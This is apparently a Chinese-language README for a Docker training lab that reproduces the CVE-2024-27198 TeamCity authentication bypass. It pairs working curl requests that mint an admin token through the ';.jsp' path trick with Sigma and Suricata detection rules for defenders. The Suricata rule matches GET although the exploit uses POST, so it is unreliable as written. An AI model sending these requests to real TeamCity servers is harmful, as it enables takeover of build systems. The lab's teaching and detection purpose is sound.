基于 Docker 的 CVE-2024-27198 TeamCity 身份验证绕过实验环境。包含漏洞利用复现、使用 Sigma/Suricata 规则进行 IoC 狩猎,以及面向安全培训的蓝队检测练习。
TeamCity 提供了一个仅管理员可访问的令牌管理页面,但该页面未受身份验证保护。这使得未经身份验证的用户只要能够找到现有用户的 ID,就可以为管理员用户生成访问令牌。
该漏洞存在于 REST API 路由机制中。通过在未认证端点后附加特定字符(例如 ?jsp=/app/rest/...;.jsp),攻击者可以诱使 TeamCity Web 服务器将请求路由到已认证端点,同时绕过安全过滤器。这无需任何先验知识或访问权限,使其成为一个纯粹的 9.8 CVSS 漏洞。
cd CVE-2024-27198
docker compose -f docker-compose.yml up -d
访问存在漏洞的 TeamCity 实例:http://localhost:8111。访问已修补的 TeamCity 实例:http://localhost:8112。
用户名:
admin
密码:
admin
向资源发送未认证的 GET 请求:
curl -i http://localhost:8111/app/rest/users
curl -i http://localhost:8112/app/rest/users
两者都应返回 401 状态码的错误。
curl -X POST -H "Content-Type: application/json" \
"http://localhost:8111/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
这将返回类似如下的令牌(每次生成的令牌都不同):
eyJ0eXAiOiAiVENWMiJ9.T1AzMHJjY3piNC1QWDlFenpnLXdCUkRuSF84.ZmJlODg3ZDQtNjFmYy00ZGQxLTk2MDAtYmJlYjViZjE4NGFi
curl -X POST -H "Content-Type: application/json" \
"http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
因为已修补的实例不存在此漏洞,所以应返回 401 状态码的错误。
curl -i -H "Authorization: Bearer <TOKEN>" \
http://localhost:8111/app/rest/users
应返回用户列表。
在实验演示中,您可以展示一个重要的蓝队发现:默认情况下,该漏洞极其隐蔽!
;.jsp HTTP 请求不会被记录。那么我们如何捕获它?当攻击者清理痕迹时! 当攻击者删除其恶意令牌以隐藏行踪时,TeamCity 会记录该操作。
在审计日志中查找攻击者掩盖痕迹的行为:
docker exec teamcity-vulnerable grep "delete_token" /opt/teamcity/logs/teamcity-activities.log
(您将看到一条表明“REDTEAM”令牌已被删除的日志条目。)
docker compose -f docker-compose.yml down
该漏洞是 CWE-288:使用备用路径或通道绕过身份验证 的一个实例。
该缺陷源于 Tomcat Web 服务器与 TeamCity 应用路由器之间的路径混淆问题。通过附加 ;.jsp 并在 jsp= 参数中传递目标 REST API 端点,初始安全过滤器会将请求解释为对公共 .jsp 文件的未认证请求(这是被允许的)。然而,内部路由器会去除 ;.jsp,并将请求转发到受限的 /app/rest/ 端点,而没有执行身份验证过滤器。
正常使用场景(为什么允许 ;?): Tomcat 使用分号(;)作为矩阵参数。从历史上看,该机制用于直接在路径中传递参数,例如在禁用 Cookie 时附加 JSESSIONID 以维持用户会话状态。这种正常且合法的 Web 服务器行为,加上 TeamCity 应用路由器的不当验证,共同导致了该漏洞。
要检测正在发生或已经发生的入侵,蓝队应关注:
/app/rest/ 端点但 URI 中包含异常 ;.jsp 字符串的 HTTP 请求。teamcity-server.log): 无法解释的访问令牌生成或新管理员账户创建。由于初始利用默认情况下非常隐蔽,蓝队必须依靠检测攻击者的后渗透操作,例如掩盖痕迹。以下是为您的 SIEM 提供的 Sigma 规则,用于检测可疑的令牌删除行为:
title: JetBrains TeamCity Suspicious Token Deletion (Post-Exploit CVE-2024-27198)
id: 9a2b53f6-1234-4567-890a-abcdef123456
status: experimental
description: Detects an attacker covering their tracks after exploiting CVE-2024-27198 by deleting their rogue token.
author: Purple Team
date: 2026-05-18
logsource:
category: application
product: teamcity
detection:
selection:
message|contains: 'delete_token_for_user'
condition: selection
level: medium
为了证明该检测有效,请运行 siem_simulator.py 脚本。
docker compose up -d)。python3 siem_simulator.py
为了在网络层面检测此利用尝试,SOC 可以实施以下 IDS 规则,该规则会查找与 REST API 路径结合的异常 ;.jsp 模式:
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"EXPLOIT JetBrains TeamCity Auth Bypass Attempt (CVE-2024-27198)"; flow:established,to_server; content:"GET"; http_method; content:"?jsp=/app/rest/"; http_uri; content:";.jsp"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)
为了证明缓解措施有效,您可以对运行在 8112 端口上的已修补 TeamCity 容器发起完全相同的利用载荷:
curl -i -X POST -H "Content-Type: application/json" \
"http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
由于补丁严格强制执行路由匹配并正确清理矩阵参数,绕过将失败。您应该会看到 401 Unauthorized 或 404 Not Found 响应,而不是生成的令牌。